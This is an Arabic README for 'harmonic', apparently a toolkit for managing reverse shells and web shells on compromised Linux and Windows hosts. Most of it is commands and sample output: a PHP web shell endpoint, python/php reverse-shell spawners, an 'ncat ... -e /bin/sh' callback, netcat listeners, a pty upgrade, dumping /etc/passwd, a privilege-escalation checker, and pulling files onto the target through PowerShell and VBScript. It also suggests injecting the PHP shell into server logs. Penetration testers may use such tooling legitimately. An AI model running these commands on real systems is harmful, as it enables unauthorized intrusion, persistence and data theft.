
مجموعة أدوات للتعامل مع الريفرس شل مصممة للعمل ضمن الصدفة الأصلية
بداية مجموعة أدوات لينكس لإدارة والتعامل مع القشور العكسية (لا تزال الشيفرة في حالة خام وسريعة حاليًا، مع القليل من معالجة الاستثناءات). مع استلهام قوي من فلسفة UNIX، الفكرة الأساسية هي وجود خفي (دايمون) للتعامل مع نقاط نهاية عشوائية (connd، على الرغم من أنه ليس خفيًا حقيقيًا بعد لكنه يمكن أن يعمل في طرفية منفصلة) وتشغيل الأدوات ضد نقاط النهاية هذه.
نقاط النهاية "تُدار" بواسطة سكربت أو عملية وتُعرض كملفات في نظام الملفات، ومن ثم يمكن استخدام عميل برمجي رفيع للتفاعل معها، ويمكن بنفس السهولة الكتابة إليها والقراءة منها باستخدام أوامر القشرة. في الواقع، القدرة على تشغيل السكربتات بشكل مستقل من القشرة هي عامل تصميم رئيسي حيث يُفترض، في أفضل الحالات، أن يعتمد السكربت على وجود نقطة نهاية لكن يمكن استخدامه مع غيره أيضًا (تتسلسل مع بعضها البعض).
خيارات نقاط النهاية الحالية هي:
يوفر العميل البرمجي الرفيع (hthinc.py) واجهة أساسية لنقطة نهاية النظام بالإضافة إلى تشغيل سكربتات بسرعة ضد النظام. تمت كتابة عدة سكربتات أساسية لكنها مفيدة:
أنواع مشغلات القشرة العكسية (أي ما يقوم بتشغيل القشرة على النظام البعيد) هي التالية (حاليًا دعم لينكس):
سكربتات أخرى:
أخبر connd ببدء نقطة نهاية، باستخدام مشغل قشرة wedge ضد سكربت php المقدم والذي يقوم باستدعاءات نظام مع استجابة منسقة. لكن هذا السكربت المكون من سطر واحد كان يمكن بسهولة أن يُحقن ككود في سجل خادم
$ hconnd.py start wsh http://example.com/hwsh.php
1
هذا أنشأ نقطة النهاية 1 (أنبوبي إدخال/إخراج — يمكنك رؤيتهما كـ t1i و t1o في الدليل الفرعي run). لذا الآن نستخدم hthinc.py للتفاعل مع القشرة.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
نعلم أن هذا نظام لينكس. نريد الابتعاد عن قشرة ويب محشورة والحصول على قشرة حقيقية. تشغيل الأمر المدمج !help يعرض رسالة مساعدة thinc. يمكننا تشغيل سكربت sp والذي سيشغّل أوامر تلقائيًا ضد النظام البعيد، إجراء تعداد للبيئة، بدء نقطة نهاية nc، إطلاق قشرة عكسية والدخول تلقائيًا عبر hthinc.py جديد:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
أو إذا علمنا أننا نستخدم (مثلًا) PHP كمشغل، يمكننا تحديد ذلك:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
ولنفترض أن لدينا قشرة بدون TTY أو نريد الخروج منها يمكننا تشغيل أحد الماكروهات الافتراضية:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
أيضًا إذا أردنا تسجيل مخرجات أمر يمكننا استخدام سكربت log والذي سيحفظها في دليل العمل الحالي:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
بينما نقاط النهاية تعمل، يمكنك إرفاق/فصل العملاء لأن عمليات الاتصال تُدار بواسطة الخفي
نظرًا لأن كل شيء يمكن تشغيله بطريقة يونكسية أكثر، يمكننا تكرار العمليات بسرعة من القشرة. نبدأ نقطة نهاية قشرة ويب، نحصل على معرف نقطة النهاية ثم من القشرة نشغّل سكربت sp.py ضد نقطة النهاية (إنه نفس السكربت المستخدم في hthinc.py لكن بنقطة دخول مختلفة).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
أو كسطر واحد:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
وأتمتته بسهولة:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
أداة hcmd.py تسمح لك بتشغيل أمر بسرعة عبر نقطة نهاية من قشرتك
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
وتوجيه النتائج أو إعادة توجيهها كالمعتاد
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
يمكنك استخدام الفعل list مع hconn.py لرؤية القائمة الحالية لنقاط النهاية، مع حالة الاتصال إذا كان ذلك مناسبًا
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
إعداد نقطة نهاية قشرة wedge:
$ hconn.py start wsh http://example.com/hwsh.php
1
الآن يمكننا إعداد مستمع netcat على المنفذ 4444:
$ hconn.py start nc 4444
2
ثم الكتابة إلى نقطة نهاية القشرة wedge (معرف 1) عبر ملف الإدخال:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
يجب أن يكون هذا قد أطلق قشرة عائدة إلى مستمع netcat. أرفق العميل الرفيع بنقطة نهاية netcat (معرف 2) وينبغي أن نحصل على قشرة أخرى بانتظارنا:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
إن تعميم واجهة القشرة في ملفات يعني أن السكربتات المستخدمة ضد نقطة نهاية قشرة ويب ستعمل أيضًا ضد نقطة نهاية قشرة عكسية netcat. يمكنك استدعاء السكربتات باستخدام مسارها المطلق ($HCROOT/share/script/*.py) أو يمكنك استخدام السكربت المساعد hscr.py
يمكننا تشغيل sp.py ضد نقطة نهاية netcat وإطلاق قشرة عكسية أخرى:
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
والمكافئ باستخدام المسار المطلق سيكون $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1
أو يمكننا تشغيل Linux Priv Escalation Checker ضد قشرة ويب:
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
ويمكننا استدعاءها داخل جلسة hthinc.py
!run lpc
يمكن استخدام متغيرات البيئة لتحديد قيم عامة. هناك ثلاثة مستويات من المتغيرات، كل مستوى أقل أولوية من التالي:
متغيرات ملف الموارد معرفة في $HCROOT/.hcrc. هذه هي الأدنى أولوية لكن يمكن استخدامها لتجنب تلويث متغيرات البيئة على مستوى النظام
متغيرات البيئة/القشرة تُدخل إلى العملية بواسطة القشرة وتُسبق بـ HCV_. ستندمج مع متغيرات الموارد وتستبدل القيم الموجودة بالفعل.
المتغيرات المباشرة ستستبدل أي شيء معرّف مسبقًا
في هذه الأمثلة، LHOST=127.0.0.1 معرف كمتغير مورد في .hcrc واستخدام السكربت هو ./script LPORT [LHOST]
السكربت التالي سيحصل على LHOST=127.0.0.1 و LPORT=4455 (متغير مورد)
$ ./script 4455
السكربت التالي سيحصل على LHOST=192.168.1.101 و LPORT=4455 (متغير قشرة)
$ HCV_LHOST=192.168.1.101 ./script 4455
السكربت التالي سيحصل على LHOST=10.10.10.125 (متغير مباشر)
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
يمكن تطبيق نفس المبادئ على hthinc.py !run SCR، (تذكر: متغيرات البيئة/القشرة هي تلك التي تُمرر إلى ./hthinc.py)
خادم البوابة هو خادم HTTP أساسي يمكن استخدامه لسحب الملفات إلى النظام البعيد باستخدام السكربتات. تميل هذه السكربتات إلى العمل كماكروهات حول الأمر، مما ينشئ تفاعلًا أكثر انتظامًا عبر المنصات. يتعامل الخادم مع الملفات نسبيًا من $HCROOT/share/disp/
hpd.py يعمل على المنفذ 80. تم تعريف DHOST و DPORT في .hcrc كـ 127.0.0.1 و 80 على التوالي (يشيران إلى خادم الإرسال). هذا يعني أنني لست بحاجة إلى إدخال هذه المتغيرات عند استدعاء السكربت لكن إذا كانت بحاجة إلى أن تكون مختلفة، فنحن فقط ندرجها كمتغيرات مباشرة مثل متغير FILE=.
نستدعي السكربتات من hthinc.py لكن، مرة أخرى، يمكننا تشغيل هذه السكربتات من قشرتنا المعتادة بتمرير معرف نقطة نهاية إليها على سطر الأوامر. إذا كان DHOST و DPORT معرّفين بالفعل، لسنا بحاجة إلى تضمينهما على سطر الأوامر.
في هذا نستخدم powershell، عبر pspull، لسحب الملف:
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
هنا ليس لدينا PowerShell لذا نحتاج إلى تهيئة سكربت البوابة، ثم سحب الملف:
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+] Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful
سكربت pull يستخدم للينكس:
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
فقط لتوضيح المتغيرات المباشرة:
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful
تُعرّف الماكروهات في قسم الماكرو في $HCROOT/.hcrc ويتم استدعاؤها بواسطة سكربت mac. في هذا الشكل الأساسي تشبه اسمًا مستعارًا في القشرة وهي فعالة كسكربتات بسيطة باتجاه واحد، ترسل أمرًا عبر نقطة النهاية إلى القشرة البعيدة. من الأسهل ربط تسلسلات الأوامر المستخدمة بشكل متكرر لكنها مرهقة بماكروهات.
استدعاء سكربت mac من hthinc.py يتضمن استخدام متغير غير مسمى، وهو متغير بدون تسمية. هذا يسمح باستدعاء الماكروهات مثل معامل سطر أوامر للسكربت.
مرة أخرى يمكن استدعاء الماكروهات من قشرتك المعتادة باستخدام نفس سكربت mac.py.
هذا المثال يستدعي ماكرو pty في قشرة غير مستقرة. الماكرو هو اسم مستعار للـ python -c 'import pty; pty.spawn("/bin/bash")':
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$
المكافئ لتشغيله من سطر الأوامر على (مثلًا) نقطة النهاية 5 سيكون hscr.py 5 mac pty. في المرة القادمة التي ترفق فيها عميلًا بنقطة النهاية يجب أن تعمل بقشرة مع tty.
إدخال !run mac --list سيعرض قائمة الماكروهات.
لبناء connd:
go build connd